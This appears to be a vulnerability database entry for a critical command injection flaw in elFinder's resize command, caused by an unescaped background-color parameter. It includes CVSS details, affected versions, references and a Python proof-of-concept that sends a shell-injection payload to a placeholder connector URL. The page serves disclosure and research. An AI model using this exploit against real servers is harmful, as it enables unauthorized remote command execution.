CVE-2026-41247

Description

elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Prior to 2.1.67, elFinder contains a command injection vulnerability in the resize command. The bg (background color) parameter is accepted from user input and passed through image resize/rotate processing. In configurations that use the ImageMagick CLI backend, this value is incorporated into shell command strings without sufficient escaping. An attacker able to invoke the resize command with a crafted bg value may achieve arbitrary command execution as the web server process user. This vulnerability is fixed in 2.1.67.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:* - VULNERABLE

elFinder < 2.1.67

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL where elFinder is hosted
url = "http://target.com/elfinder/php/connector.php"

# The 'bg' parameter is vulnerable to command injection
# Example payload to execute 'id' command via shell injection
# Syntax may vary based on the specific ImageMagick CLI construction
payload = "\"; id; #"

data = {
    "cmd": "resize",
    "target": "l1_Lw",  # This should be replaced with a valid file hash on the server
    "width": 200,
    "height": 200,
    "bg": payload
}

try:
    response = requests.post(url, data=data)
    if response.status_code == 200:
        print("Request sent successfully.")
        print("Response:")
        print(response.text)
    else:
        print(f"Failed to send request, status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41247
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41247
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41247/
[4] VulDB https://vuldb.com/cve/CVE-2026-41247
[5] https://github.com/Studio-42/elFinder/security/advisories/GHSA-8q4h-8crm-5cvc

Raw JSON Data

JSON

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